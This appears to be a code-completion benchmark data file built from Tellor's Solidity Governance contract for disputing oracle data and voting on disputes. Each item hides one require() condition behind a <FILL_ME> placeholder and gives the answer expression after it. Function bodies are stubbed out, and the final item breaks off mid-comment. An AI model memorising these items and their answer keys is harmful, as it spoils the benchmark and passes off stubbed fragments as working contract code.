* @param _disputeId is the ID of the vote
* @param _supports is the address's vote: whether or not they support or are against
* @param _invalidQuery is whether or not the dispute is valid
*/
function vote(
uint256 _disputeId,
bool _supports,
bool _invalidQuery
) external {
}
// *****************************************************************************
// * *
// * Getters *
// * *
// *****************************************************************************
/**
* @dev Determines if an address voted for a specific vote
* @param _disputeId is the ID of the vote
* @param _voter is the address of the voter to check for
* @return bool of whether or note the address voted for the specific vote
*/
function didVote(uint256 _disputeId, address _voter)
external
view
returns (bool)
{
}
/**
* @dev Get the latest dispute fee
*/
function getDisputeFee() public view returns (uint256) {
}
function getDisputesByReporter(address _reporter) external view returns (uint256[] memory) {
}
/**
* @dev Returns info on a dispute for a given ID
* @param _disputeId is the ID of a specific dispute
* @return bytes32 of the data ID of the dispute
* @return uint256 of the timestamp of the dispute
* @return bytes memory of the value being disputed
* @return address of the reporter being disputed
*/
function getDisputeInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256,
bytes memory,
address
)
{
}
/**
* @dev Returns the number of open disputes for a specific query ID
* @param _queryId is the ID of a specific data feed
* @return uint256 of the number of open disputes for the query ID
*/
function getOpenDisputesOnId(bytes32 _queryId)
external
view
returns (uint256)
{
}
/**
* @dev Returns the total number of votes
* @return uint256 of the total number of votes
*/
function getVoteCount() external view returns (uint256) {
}
/**
* @dev Returns info on a vote for a given vote ID
* @param _disputeId is the ID of a specific vote
* @return bytes32 identifier hash of the vote
* @return uint256[17] memory of the pertinent round info (vote rounds, start date, fee, etc.)
* @return bool memory of both whether or not the vote was executed
* @return VoteResult result of the vote
* @return address memory of the vote initiator
*/
function getVoteInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256[17] memory,
bool,
VoteResult,
address
)
{
}
/**
* @dev Returns an array of voting rounds for a given vote
* @param _hash is the identifier hash for a vote
* @return uint256[] memory dispute IDs of the vote rounds
*/
function getVoteRounds(bytes32 _hash)
external
view
returns (uint256[] memory)
{
}
/**
* @dev Returns the total number of votes cast by an address
* @param _voter is the address of the voter to check for
* @return uint256 of the total number of votes cast by the voter
*/
function getVoteTallyByAddress(address _voter)
external
view
returns (uint256)
{
}
// Internal
/**
* @dev Retrieves total tips contributed to autopay by a given address
* @param _user address of the user to check the tip count for
* @return _userTipTally uint256 of total tips contributed to autopay by the address
*/
function _getUserTips(address _user) internal returns (uint256 _userTipTally) {
}
}
| block.timestamp-voteInfo[_prevId].tallyDate<1days,"New dispute round must be started within a day" | 230,327 | block.timestamp-voteInfo[_prevId].tallyDate<1days |
"Fee must be paid" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./interfaces/IOracle.sol";
import "./interfaces/IERC20.sol";
import "usingtellor/contracts/UsingTellor.sol";
/**
@author Tellor Inc.
@title Governance
@dev This is a governance contract to be used with TellorFlex. It handles disputing
* Tellor oracle data and voting on those disputes
*/
contract Governance is UsingTellor {
// Storage
IOracle public oracle; // Tellor oracle contract
IERC20 public token; // token used for dispute fees, same as reporter staking token
address public oracleAddress; //tellorFlex address
address public teamMultisig; // address of team multisig wallet, one of four stakeholder groups
uint256 public voteCount; // total number of votes initiated
bytes32 public autopayAddrsQueryId =
keccak256(abi.encode("AutopayAddresses", abi.encode(bytes("")))); // query id for autopay addresses array
mapping(uint256 => Dispute) private disputeInfo; // mapping of dispute IDs to the details of the dispute
mapping(bytes32 => uint256) private openDisputesOnId; // mapping of a query ID to the number of disputes on that query ID
mapping(uint256 => Vote) private voteInfo; // mapping of dispute IDs to the details of the vote
mapping(bytes32 => uint256[]) private voteRounds; // mapping of vote identifier hashes to an array of dispute IDs
mapping(address => uint256) private voteTallyByAddress; // mapping of addresses to the number of votes they have cast
mapping(address => uint256[]) private disputeIdsByReporter; // mapping of reporter addresses to an array of dispute IDs
enum VoteResult {
FAILED,
PASSED,
INVALID
} // status of a potential vote
// Structs
struct Dispute {
bytes32 queryId; // query ID of disputed value
uint256 timestamp; // timestamp of disputed value
bytes value; // disputed value
address disputedReporter; // reporter who submitted the disputed value
uint256 slashedAmount; // amount of tokens slashed from reporter
}
struct Tally {
uint256 doesSupport; // number of votes in favor
uint256 against; // number of votes against
uint256 invalidQuery; // number of votes for invalid
}
struct Vote {
bytes32 identifierHash; // identifier hash of the vote
uint256 voteRound; // the round of voting on a given dispute or proposal
uint256 startDate; // timestamp of when vote was initiated
uint256 blockNumber; // block number of when vote was initiated
uint256 fee; // fee paid to initiate the vote round
uint256 tallyDate; // timestamp of when the votes were tallied
Tally tokenholders; // vote tally of tokenholders
Tally users; // vote tally of users
Tally reporters; // vote tally of reporters
Tally teamMultisig; // vote tally of teamMultisig
bool executed; // boolean of whether the vote was executed
VoteResult result; // VoteResult after votes were tallied
address initiator; // address which initiated dispute/proposal
mapping(address => bool) voted; // mapping of address to whether or not they voted
}
// Events
event NewDispute(
uint256 _disputeId,
bytes32 _queryId,
uint256 _timestamp,
address _reporter
); // Emitted when a new dispute is opened
event Voted(
uint256 _disputeId,
bool _supports,
address _voter,
bool _invalidQuery
); // Emitted when an address casts their vote
event VoteExecuted(uint256 _disputeId, VoteResult _result); // Emitted when a vote is executed
event VoteTallied(
uint256 _disputeId,
VoteResult _result,
address _initiator,
address _reporter
); // Emitted when all casting for a vote is tallied
/**
* @dev Initializes contract parameters
* @param _tellor address of tellor oracle contract to be governed
* @param _teamMultisig address of tellor team multisig, one of four voting
* stakeholder groups
*/
constructor(address payable _tellor, address _teamMultisig)
UsingTellor(_tellor)
{
}
/**
* @dev Initializes a dispute/vote in the system
* @param _queryId being disputed
* @param _timestamp being disputed
*/
function beginDispute(bytes32 _queryId, uint256 _timestamp) external {
// Ensure value actually exists
require(
oracle.getBlockNumberByTimestamp(_queryId, _timestamp) != 0,
"no value exists at given timestamp"
);
bytes32 _hash = keccak256(abi.encodePacked(_queryId, _timestamp));
// Push new vote round
uint256 _disputeId = voteCount + 1;
uint256[] storage _voteRounds = voteRounds[_hash];
_voteRounds.push(_disputeId);
// Create new vote and dispute
Vote storage _thisVote = voteInfo[_disputeId];
Dispute storage _thisDispute = disputeInfo[_disputeId];
// Initialize dispute information - query ID, timestamp, value, etc.
_thisDispute.queryId = _queryId;
_thisDispute.timestamp = _timestamp;
_thisDispute.disputedReporter = oracle.getReporterByTimestamp(
_queryId,
_timestamp
);
// Initialize vote information - hash, initiator, block number, etc.
_thisVote.identifierHash = _hash;
_thisVote.initiator = msg.sender;
_thisVote.blockNumber = block.number;
_thisVote.startDate = block.timestamp;
_thisVote.voteRound = _voteRounds.length;
disputeIdsByReporter[_thisDispute.disputedReporter].push(_disputeId);
uint256 _disputeFee = getDisputeFee();
if (_voteRounds.length == 1) {
require(
block.timestamp - _timestamp < 12 hours,
"Dispute must be started within reporting lock time"
);
openDisputesOnId[_queryId]++;
// calculate dispute fee based on number of open disputes on query ID
_disputeFee = _disputeFee * 2**(openDisputesOnId[_queryId] - 1);
// slash a single stakeAmount from reporter
_thisDispute.slashedAmount = oracle.slashReporter(_thisDispute.disputedReporter, address(this));
_thisDispute.value = oracle.retrieveData(_queryId, _timestamp);
oracle.removeValue(_queryId, _timestamp);
} else {
uint256 _prevId = _voteRounds[_voteRounds.length - 2];
require(
block.timestamp - voteInfo[_prevId].tallyDate < 1 days,
"New dispute round must be started within a day"
);
_disputeFee = _disputeFee * 2**(_voteRounds.length - 1);
_thisDispute.slashedAmount = disputeInfo[_voteRounds[0]].slashedAmount;
_thisDispute.value = disputeInfo[_voteRounds[0]].value;
}
_thisVote.fee = _disputeFee;
voteCount++;
require(<FILL_ME>)
// This is the dispute fee. Returned if dispute passes
emit NewDispute(
_disputeId,
_queryId,
_timestamp,
_thisDispute.disputedReporter
);
}
/**
* @dev Executes vote and transfers corresponding balances to initiator/reporter
* @param _disputeId is the ID of the vote being executed
*/
function executeVote(uint256 _disputeId) external {
}
/**
* @dev Tallies the votes and begins the 1 day challenge period
* @param _disputeId is the dispute id
*/
function tallyVotes(uint256 _disputeId) external {
}
/**
* @dev Enables the sender address to cast a vote
* @param _disputeId is the ID of the vote
* @param _supports is the address's vote: whether or not they support or are against
* @param _invalidQuery is whether or not the dispute is valid
*/
function vote(
uint256 _disputeId,
bool _supports,
bool _invalidQuery
) external {
}
// *****************************************************************************
// * *
// * Getters *
// * *
// *****************************************************************************
/**
* @dev Determines if an address voted for a specific vote
* @param _disputeId is the ID of the vote
* @param _voter is the address of the voter to check for
* @return bool of whether or note the address voted for the specific vote
*/
function didVote(uint256 _disputeId, address _voter)
external
view
returns (bool)
{
}
/**
* @dev Get the latest dispute fee
*/
function getDisputeFee() public view returns (uint256) {
}
function getDisputesByReporter(address _reporter) external view returns (uint256[] memory) {
}
/**
* @dev Returns info on a dispute for a given ID
* @param _disputeId is the ID of a specific dispute
* @return bytes32 of the data ID of the dispute
* @return uint256 of the timestamp of the dispute
* @return bytes memory of the value being disputed
* @return address of the reporter being disputed
*/
function getDisputeInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256,
bytes memory,
address
)
{
}
/**
* @dev Returns the number of open disputes for a specific query ID
* @param _queryId is the ID of a specific data feed
* @return uint256 of the number of open disputes for the query ID
*/
function getOpenDisputesOnId(bytes32 _queryId)
external
view
returns (uint256)
{
}
/**
* @dev Returns the total number of votes
* @return uint256 of the total number of votes
*/
function getVoteCount() external view returns (uint256) {
}
/**
* @dev Returns info on a vote for a given vote ID
* @param _disputeId is the ID of a specific vote
* @return bytes32 identifier hash of the vote
* @return uint256[17] memory of the pertinent round info (vote rounds, start date, fee, etc.)
* @return bool memory of both whether or not the vote was executed
* @return VoteResult result of the vote
* @return address memory of the vote initiator
*/
function getVoteInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256[17] memory,
bool,
VoteResult,
address
)
{
}
/**
* @dev Returns an array of voting rounds for a given vote
* @param _hash is the identifier hash for a vote
* @return uint256[] memory dispute IDs of the vote rounds
*/
function getVoteRounds(bytes32 _hash)
external
view
returns (uint256[] memory)
{
}
/**
* @dev Returns the total number of votes cast by an address
* @param _voter is the address of the voter to check for
* @return uint256 of the total number of votes cast by the voter
*/
function getVoteTallyByAddress(address _voter)
external
view
returns (uint256)
{
}
// Internal
/**
* @dev Retrieves total tips contributed to autopay by a given address
* @param _user address of the user to check the tip count for
* @return _userTipTally uint256 of total tips contributed to autopay by the address
*/
function _getUserTips(address _user) internal returns (uint256 _userTipTally) {
}
}
| token.transferFrom(msg.sender,address(this),_disputeFee),"Fee must be paid" | 230,327 | token.transferFrom(msg.sender,address(this),_disputeFee) |
"Vote has already been executed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./interfaces/IOracle.sol";
import "./interfaces/IERC20.sol";
import "usingtellor/contracts/UsingTellor.sol";
/**
@author Tellor Inc.
@title Governance
@dev This is a governance contract to be used with TellorFlex. It handles disputing
* Tellor oracle data and voting on those disputes
*/
contract Governance is UsingTellor {
// Storage
IOracle public oracle; // Tellor oracle contract
IERC20 public token; // token used for dispute fees, same as reporter staking token
address public oracleAddress; //tellorFlex address
address public teamMultisig; // address of team multisig wallet, one of four stakeholder groups
uint256 public voteCount; // total number of votes initiated
bytes32 public autopayAddrsQueryId =
keccak256(abi.encode("AutopayAddresses", abi.encode(bytes("")))); // query id for autopay addresses array
mapping(uint256 => Dispute) private disputeInfo; // mapping of dispute IDs to the details of the dispute
mapping(bytes32 => uint256) private openDisputesOnId; // mapping of a query ID to the number of disputes on that query ID
mapping(uint256 => Vote) private voteInfo; // mapping of dispute IDs to the details of the vote
mapping(bytes32 => uint256[]) private voteRounds; // mapping of vote identifier hashes to an array of dispute IDs
mapping(address => uint256) private voteTallyByAddress; // mapping of addresses to the number of votes they have cast
mapping(address => uint256[]) private disputeIdsByReporter; // mapping of reporter addresses to an array of dispute IDs
enum VoteResult {
FAILED,
PASSED,
INVALID
} // status of a potential vote
// Structs
struct Dispute {
bytes32 queryId; // query ID of disputed value
uint256 timestamp; // timestamp of disputed value
bytes value; // disputed value
address disputedReporter; // reporter who submitted the disputed value
uint256 slashedAmount; // amount of tokens slashed from reporter
}
struct Tally {
uint256 doesSupport; // number of votes in favor
uint256 against; // number of votes against
uint256 invalidQuery; // number of votes for invalid
}
struct Vote {
bytes32 identifierHash; // identifier hash of the vote
uint256 voteRound; // the round of voting on a given dispute or proposal
uint256 startDate; // timestamp of when vote was initiated
uint256 blockNumber; // block number of when vote was initiated
uint256 fee; // fee paid to initiate the vote round
uint256 tallyDate; // timestamp of when the votes were tallied
Tally tokenholders; // vote tally of tokenholders
Tally users; // vote tally of users
Tally reporters; // vote tally of reporters
Tally teamMultisig; // vote tally of teamMultisig
bool executed; // boolean of whether the vote was executed
VoteResult result; // VoteResult after votes were tallied
address initiator; // address which initiated dispute/proposal
mapping(address => bool) voted; // mapping of address to whether or not they voted
}
// Events
event NewDispute(
uint256 _disputeId,
bytes32 _queryId,
uint256 _timestamp,
address _reporter
); // Emitted when a new dispute is opened
event Voted(
uint256 _disputeId,
bool _supports,
address _voter,
bool _invalidQuery
); // Emitted when an address casts their vote
event VoteExecuted(uint256 _disputeId, VoteResult _result); // Emitted when a vote is executed
event VoteTallied(
uint256 _disputeId,
VoteResult _result,
address _initiator,
address _reporter
); // Emitted when all casting for a vote is tallied
/**
* @dev Initializes contract parameters
* @param _tellor address of tellor oracle contract to be governed
* @param _teamMultisig address of tellor team multisig, one of four voting
* stakeholder groups
*/
constructor(address payable _tellor, address _teamMultisig)
UsingTellor(_tellor)
{
}
/**
* @dev Initializes a dispute/vote in the system
* @param _queryId being disputed
* @param _timestamp being disputed
*/
function beginDispute(bytes32 _queryId, uint256 _timestamp) external {
}
/**
* @dev Executes vote and transfers corresponding balances to initiator/reporter
* @param _disputeId is the ID of the vote being executed
*/
function executeVote(uint256 _disputeId) external {
// Ensure validity of vote ID, vote has been executed, and vote must be tallied
Vote storage _thisVote = voteInfo[_disputeId];
require(_disputeId <= voteCount && _disputeId > 0, "Dispute ID must be valid");
require(<FILL_ME>)
require(_thisVote.tallyDate > 0, "Vote must be tallied");
// Ensure vote must be final vote and that time has to be pass (86400 = 24 * 60 * 60 for seconds in a day)
require(
voteRounds[_thisVote.identifierHash].length == _thisVote.voteRound,
"Must be the final vote"
);
//The time has to pass after the vote is tallied
require(
block.timestamp - _thisVote.tallyDate >= 1 days,
"1 day has to pass after tally to allow for disputes"
);
_thisVote.executed = true;
Dispute storage _thisDispute = disputeInfo[_disputeId];
openDisputesOnId[_thisDispute.queryId]--;
uint256 _i;
uint256 _voteID;
if (_thisVote.result == VoteResult.PASSED) {
// If vote is in dispute and passed, iterate through each vote round and transfer the dispute to initiator
for (
_i = voteRounds[_thisVote.identifierHash].length;
_i > 0;
_i--
) {
_voteID = voteRounds[_thisVote.identifierHash][_i - 1];
_thisVote = voteInfo[_voteID];
// If the first vote round, also make sure to transfer the reporter's slashed stake to the initiator
if (_i == 1) {
token.transfer(
_thisVote.initiator,
_thisDispute.slashedAmount
);
}
token.transfer(_thisVote.initiator, _thisVote.fee);
}
} else if (_thisVote.result == VoteResult.INVALID) {
// If vote is in dispute and is invalid, iterate through each vote round and transfer the dispute fee to initiator
for (
_i = voteRounds[_thisVote.identifierHash].length;
_i > 0;
_i--
) {
_voteID = voteRounds[_thisVote.identifierHash][_i - 1];
_thisVote = voteInfo[_voteID];
token.transfer(_thisVote.initiator, _thisVote.fee);
}
// Transfer slashed tokens back to disputed reporter
token.transfer(
_thisDispute.disputedReporter,
_thisDispute.slashedAmount
);
} else if (_thisVote.result == VoteResult.FAILED) {
// If vote is in dispute and fails, iterate through each vote round and transfer the dispute fee to disputed reporter
uint256 _reporterReward = 0;
for (
_i = voteRounds[_thisVote.identifierHash].length;
_i > 0;
_i--
) {
_voteID = voteRounds[_thisVote.identifierHash][_i - 1];
_thisVote = voteInfo[_voteID];
_reporterReward += _thisVote.fee;
}
_reporterReward += _thisDispute.slashedAmount;
token.transfer(_thisDispute.disputedReporter, _reporterReward);
}
emit VoteExecuted(_disputeId, voteInfo[_disputeId].result);
}
/**
* @dev Tallies the votes and begins the 1 day challenge period
* @param _disputeId is the dispute id
*/
function tallyVotes(uint256 _disputeId) external {
}
/**
* @dev Enables the sender address to cast a vote
* @param _disputeId is the ID of the vote
* @param _supports is the address's vote: whether or not they support or are against
* @param _invalidQuery is whether or not the dispute is valid
*/
function vote(
uint256 _disputeId,
bool _supports,
bool _invalidQuery
) external {
}
// *****************************************************************************
// * *
// * Getters *
// * *
// *****************************************************************************
/**
* @dev Determines if an address voted for a specific vote
* @param _disputeId is the ID of the vote
* @param _voter is the address of the voter to check for
* @return bool of whether or note the address voted for the specific vote
*/
function didVote(uint256 _disputeId, address _voter)
external
view
returns (bool)
{
}
/**
* @dev Get the latest dispute fee
*/
function getDisputeFee() public view returns (uint256) {
}
function getDisputesByReporter(address _reporter) external view returns (uint256[] memory) {
}
/**
* @dev Returns info on a dispute for a given ID
* @param _disputeId is the ID of a specific dispute
* @return bytes32 of the data ID of the dispute
* @return uint256 of the timestamp of the dispute
* @return bytes memory of the value being disputed
* @return address of the reporter being disputed
*/
function getDisputeInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256,
bytes memory,
address
)
{
}
/**
* @dev Returns the number of open disputes for a specific query ID
* @param _queryId is the ID of a specific data feed
* @return uint256 of the number of open disputes for the query ID
*/
function getOpenDisputesOnId(bytes32 _queryId)
external
view
returns (uint256)
{
}
/**
* @dev Returns the total number of votes
* @return uint256 of the total number of votes
*/
function getVoteCount() external view returns (uint256) {
}
/**
* @dev Returns info on a vote for a given vote ID
* @param _disputeId is the ID of a specific vote
* @return bytes32 identifier hash of the vote
* @return uint256[17] memory of the pertinent round info (vote rounds, start date, fee, etc.)
* @return bool memory of both whether or not the vote was executed
* @return VoteResult result of the vote
* @return address memory of the vote initiator
*/
function getVoteInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256[17] memory,
bool,
VoteResult,
address
)
{
}
/**
* @dev Returns an array of voting rounds for a given vote
* @param _hash is the identifier hash for a vote
* @return uint256[] memory dispute IDs of the vote rounds
*/
function getVoteRounds(bytes32 _hash)
external
view
returns (uint256[] memory)
{
}
/**
* @dev Returns the total number of votes cast by an address
* @param _voter is the address of the voter to check for
* @return uint256 of the total number of votes cast by the voter
*/
function getVoteTallyByAddress(address _voter)
external
view
returns (uint256)
{
}
// Internal
/**
* @dev Retrieves total tips contributed to autopay by a given address
* @param _user address of the user to check the tip count for
* @return _userTipTally uint256 of total tips contributed to autopay by the address
*/
function _getUserTips(address _user) internal returns (uint256 _userTipTally) {
}
}
| !_thisVote.executed,"Vote has already been executed" | 230,327 | !_thisVote.executed |
"Must be the final vote" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./interfaces/IOracle.sol";
import "./interfaces/IERC20.sol";
import "usingtellor/contracts/UsingTellor.sol";
/**
@author Tellor Inc.
@title Governance
@dev This is a governance contract to be used with TellorFlex. It handles disputing
* Tellor oracle data and voting on those disputes
*/
contract Governance is UsingTellor {
// Storage
IOracle public oracle; // Tellor oracle contract
IERC20 public token; // token used for dispute fees, same as reporter staking token
address public oracleAddress; //tellorFlex address
address public teamMultisig; // address of team multisig wallet, one of four stakeholder groups
uint256 public voteCount; // total number of votes initiated
bytes32 public autopayAddrsQueryId =
keccak256(abi.encode("AutopayAddresses", abi.encode(bytes("")))); // query id for autopay addresses array
mapping(uint256 => Dispute) private disputeInfo; // mapping of dispute IDs to the details of the dispute
mapping(bytes32 => uint256) private openDisputesOnId; // mapping of a query ID to the number of disputes on that query ID
mapping(uint256 => Vote) private voteInfo; // mapping of dispute IDs to the details of the vote
mapping(bytes32 => uint256[]) private voteRounds; // mapping of vote identifier hashes to an array of dispute IDs
mapping(address => uint256) private voteTallyByAddress; // mapping of addresses to the number of votes they have cast
mapping(address => uint256[]) private disputeIdsByReporter; // mapping of reporter addresses to an array of dispute IDs
enum VoteResult {
FAILED,
PASSED,
INVALID
} // status of a potential vote
// Structs
struct Dispute {
bytes32 queryId; // query ID of disputed value
uint256 timestamp; // timestamp of disputed value
bytes value; // disputed value
address disputedReporter; // reporter who submitted the disputed value
uint256 slashedAmount; // amount of tokens slashed from reporter
}
struct Tally {
uint256 doesSupport; // number of votes in favor
uint256 against; // number of votes against
uint256 invalidQuery; // number of votes for invalid
}
struct Vote {
bytes32 identifierHash; // identifier hash of the vote
uint256 voteRound; // the round of voting on a given dispute or proposal
uint256 startDate; // timestamp of when vote was initiated
uint256 blockNumber; // block number of when vote was initiated
uint256 fee; // fee paid to initiate the vote round
uint256 tallyDate; // timestamp of when the votes were tallied
Tally tokenholders; // vote tally of tokenholders
Tally users; // vote tally of users
Tally reporters; // vote tally of reporters
Tally teamMultisig; // vote tally of teamMultisig
bool executed; // boolean of whether the vote was executed
VoteResult result; // VoteResult after votes were tallied
address initiator; // address which initiated dispute/proposal
mapping(address => bool) voted; // mapping of address to whether or not they voted
}
// Events
event NewDispute(
uint256 _disputeId,
bytes32 _queryId,
uint256 _timestamp,
address _reporter
); // Emitted when a new dispute is opened
event Voted(
uint256 _disputeId,
bool _supports,
address _voter,
bool _invalidQuery
); // Emitted when an address casts their vote
event VoteExecuted(uint256 _disputeId, VoteResult _result); // Emitted when a vote is executed
event VoteTallied(
uint256 _disputeId,
VoteResult _result,
address _initiator,
address _reporter
); // Emitted when all casting for a vote is tallied
/**
* @dev Initializes contract parameters
* @param _tellor address of tellor oracle contract to be governed
* @param _teamMultisig address of tellor team multisig, one of four voting
* stakeholder groups
*/
constructor(address payable _tellor, address _teamMultisig)
UsingTellor(_tellor)
{
}
/**
* @dev Initializes a dispute/vote in the system
* @param _queryId being disputed
* @param _timestamp being disputed
*/
function beginDispute(bytes32 _queryId, uint256 _timestamp) external {
}
/**
* @dev Executes vote and transfers corresponding balances to initiator/reporter
* @param _disputeId is the ID of the vote being executed
*/
function executeVote(uint256 _disputeId) external {
// Ensure validity of vote ID, vote has been executed, and vote must be tallied
Vote storage _thisVote = voteInfo[_disputeId];
require(_disputeId <= voteCount && _disputeId > 0, "Dispute ID must be valid");
require(!_thisVote.executed, "Vote has already been executed");
require(_thisVote.tallyDate > 0, "Vote must be tallied");
// Ensure vote must be final vote and that time has to be pass (86400 = 24 * 60 * 60 for seconds in a day)
require(<FILL_ME>)
//The time has to pass after the vote is tallied
require(
block.timestamp - _thisVote.tallyDate >= 1 days,
"1 day has to pass after tally to allow for disputes"
);
_thisVote.executed = true;
Dispute storage _thisDispute = disputeInfo[_disputeId];
openDisputesOnId[_thisDispute.queryId]--;
uint256 _i;
uint256 _voteID;
if (_thisVote.result == VoteResult.PASSED) {
// If vote is in dispute and passed, iterate through each vote round and transfer the dispute to initiator
for (
_i = voteRounds[_thisVote.identifierHash].length;
_i > 0;
_i--
) {
_voteID = voteRounds[_thisVote.identifierHash][_i - 1];
_thisVote = voteInfo[_voteID];
// If the first vote round, also make sure to transfer the reporter's slashed stake to the initiator
if (_i == 1) {
token.transfer(
_thisVote.initiator,
_thisDispute.slashedAmount
);
}
token.transfer(_thisVote.initiator, _thisVote.fee);
}
} else if (_thisVote.result == VoteResult.INVALID) {
// If vote is in dispute and is invalid, iterate through each vote round and transfer the dispute fee to initiator
for (
_i = voteRounds[_thisVote.identifierHash].length;
_i > 0;
_i--
) {
_voteID = voteRounds[_thisVote.identifierHash][_i - 1];
_thisVote = voteInfo[_voteID];
token.transfer(_thisVote.initiator, _thisVote.fee);
}
// Transfer slashed tokens back to disputed reporter
token.transfer(
_thisDispute.disputedReporter,
_thisDispute.slashedAmount
);
} else if (_thisVote.result == VoteResult.FAILED) {
// If vote is in dispute and fails, iterate through each vote round and transfer the dispute fee to disputed reporter
uint256 _reporterReward = 0;
for (
_i = voteRounds[_thisVote.identifierHash].length;
_i > 0;
_i--
) {
_voteID = voteRounds[_thisVote.identifierHash][_i - 1];
_thisVote = voteInfo[_voteID];
_reporterReward += _thisVote.fee;
}
_reporterReward += _thisDispute.slashedAmount;
token.transfer(_thisDispute.disputedReporter, _reporterReward);
}
emit VoteExecuted(_disputeId, voteInfo[_disputeId].result);
}
/**
* @dev Tallies the votes and begins the 1 day challenge period
* @param _disputeId is the dispute id
*/
function tallyVotes(uint256 _disputeId) external {
}
/**
* @dev Enables the sender address to cast a vote
* @param _disputeId is the ID of the vote
* @param _supports is the address's vote: whether or not they support or are against
* @param _invalidQuery is whether or not the dispute is valid
*/
function vote(
uint256 _disputeId,
bool _supports,
bool _invalidQuery
) external {
}
// *****************************************************************************
// * *
// * Getters *
// * *
// *****************************************************************************
/**
* @dev Determines if an address voted for a specific vote
* @param _disputeId is the ID of the vote
* @param _voter is the address of the voter to check for
* @return bool of whether or note the address voted for the specific vote
*/
function didVote(uint256 _disputeId, address _voter)
external
view
returns (bool)
{
}
/**
* @dev Get the latest dispute fee
*/
function getDisputeFee() public view returns (uint256) {
}
function getDisputesByReporter(address _reporter) external view returns (uint256[] memory) {
}
/**
* @dev Returns info on a dispute for a given ID
* @param _disputeId is the ID of a specific dispute
* @return bytes32 of the data ID of the dispute
* @return uint256 of the timestamp of the dispute
* @return bytes memory of the value being disputed
* @return address of the reporter being disputed
*/
function getDisputeInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256,
bytes memory,
address
)
{
}
/**
* @dev Returns the number of open disputes for a specific query ID
* @param _queryId is the ID of a specific data feed
* @return uint256 of the number of open disputes for the query ID
*/
function getOpenDisputesOnId(bytes32 _queryId)
external
view
returns (uint256)
{
}
/**
* @dev Returns the total number of votes
* @return uint256 of the total number of votes
*/
function getVoteCount() external view returns (uint256) {
}
/**
* @dev Returns info on a vote for a given vote ID
* @param _disputeId is the ID of a specific vote
* @return bytes32 identifier hash of the vote
* @return uint256[17] memory of the pertinent round info (vote rounds, start date, fee, etc.)
* @return bool memory of both whether or not the vote was executed
* @return VoteResult result of the vote
* @return address memory of the vote initiator
*/
function getVoteInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256[17] memory,
bool,
VoteResult,
address
)
{
}
/**
* @dev Returns an array of voting rounds for a given vote
* @param _hash is the identifier hash for a vote
* @return uint256[] memory dispute IDs of the vote rounds
*/
function getVoteRounds(bytes32 _hash)
external
view
returns (uint256[] memory)
{
}
/**
* @dev Returns the total number of votes cast by an address
* @param _voter is the address of the voter to check for
* @return uint256 of the total number of votes cast by the voter
*/
function getVoteTallyByAddress(address _voter)
external
view
returns (uint256)
{
}
// Internal
/**
* @dev Retrieves total tips contributed to autopay by a given address
* @param _user address of the user to check the tip count for
* @return _userTipTally uint256 of total tips contributed to autopay by the address
*/
function _getUserTips(address _user) internal returns (uint256 _userTipTally) {
}
}
| voteRounds[_thisVote.identifierHash].length==_thisVote.voteRound,"Must be the final vote" | 230,327 | voteRounds[_thisVote.identifierHash].length==_thisVote.voteRound |
"1 day has to pass after tally to allow for disputes" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./interfaces/IOracle.sol";
import "./interfaces/IERC20.sol";
import "usingtellor/contracts/UsingTellor.sol";
/**
@author Tellor Inc.
@title Governance
@dev This is a governance contract to be used with TellorFlex. It handles disputing
* Tellor oracle data and voting on those disputes
*/
contract Governance is UsingTellor {
// Storage
IOracle public oracle; // Tellor oracle contract
IERC20 public token; // token used for dispute fees, same as reporter staking token
address public oracleAddress; //tellorFlex address
address public teamMultisig; // address of team multisig wallet, one of four stakeholder groups
uint256 public voteCount; // total number of votes initiated
bytes32 public autopayAddrsQueryId =
keccak256(abi.encode("AutopayAddresses", abi.encode(bytes("")))); // query id for autopay addresses array
mapping(uint256 => Dispute) private disputeInfo; // mapping of dispute IDs to the details of the dispute
mapping(bytes32 => uint256) private openDisputesOnId; // mapping of a query ID to the number of disputes on that query ID
mapping(uint256 => Vote) private voteInfo; // mapping of dispute IDs to the details of the vote
mapping(bytes32 => uint256[]) private voteRounds; // mapping of vote identifier hashes to an array of dispute IDs
mapping(address => uint256) private voteTallyByAddress; // mapping of addresses to the number of votes they have cast
mapping(address => uint256[]) private disputeIdsByReporter; // mapping of reporter addresses to an array of dispute IDs
enum VoteResult {
FAILED,
PASSED,
INVALID
} // status of a potential vote
// Structs
struct Dispute {
bytes32 queryId; // query ID of disputed value
uint256 timestamp; // timestamp of disputed value
bytes value; // disputed value
address disputedReporter; // reporter who submitted the disputed value
uint256 slashedAmount; // amount of tokens slashed from reporter
}
struct Tally {
uint256 doesSupport; // number of votes in favor
uint256 against; // number of votes against
uint256 invalidQuery; // number of votes for invalid
}
struct Vote {
bytes32 identifierHash; // identifier hash of the vote
uint256 voteRound; // the round of voting on a given dispute or proposal
uint256 startDate; // timestamp of when vote was initiated
uint256 blockNumber; // block number of when vote was initiated
uint256 fee; // fee paid to initiate the vote round
uint256 tallyDate; // timestamp of when the votes were tallied
Tally tokenholders; // vote tally of tokenholders
Tally users; // vote tally of users
Tally reporters; // vote tally of reporters
Tally teamMultisig; // vote tally of teamMultisig
bool executed; // boolean of whether the vote was executed
VoteResult result; // VoteResult after votes were tallied
address initiator; // address which initiated dispute/proposal
mapping(address => bool) voted; // mapping of address to whether or not they voted
}
// Events
event NewDispute(
uint256 _disputeId,
bytes32 _queryId,
uint256 _timestamp,
address _reporter
); // Emitted when a new dispute is opened
event Voted(
uint256 _disputeId,
bool _supports,
address _voter,
bool _invalidQuery
); // Emitted when an address casts their vote
event VoteExecuted(uint256 _disputeId, VoteResult _result); // Emitted when a vote is executed
event VoteTallied(
uint256 _disputeId,
VoteResult _result,
address _initiator,
address _reporter
); // Emitted when all casting for a vote is tallied
/**
* @dev Initializes contract parameters
* @param _tellor address of tellor oracle contract to be governed
* @param _teamMultisig address of tellor team multisig, one of four voting
* stakeholder groups
*/
constructor(address payable _tellor, address _teamMultisig)
UsingTellor(_tellor)
{
}
/**
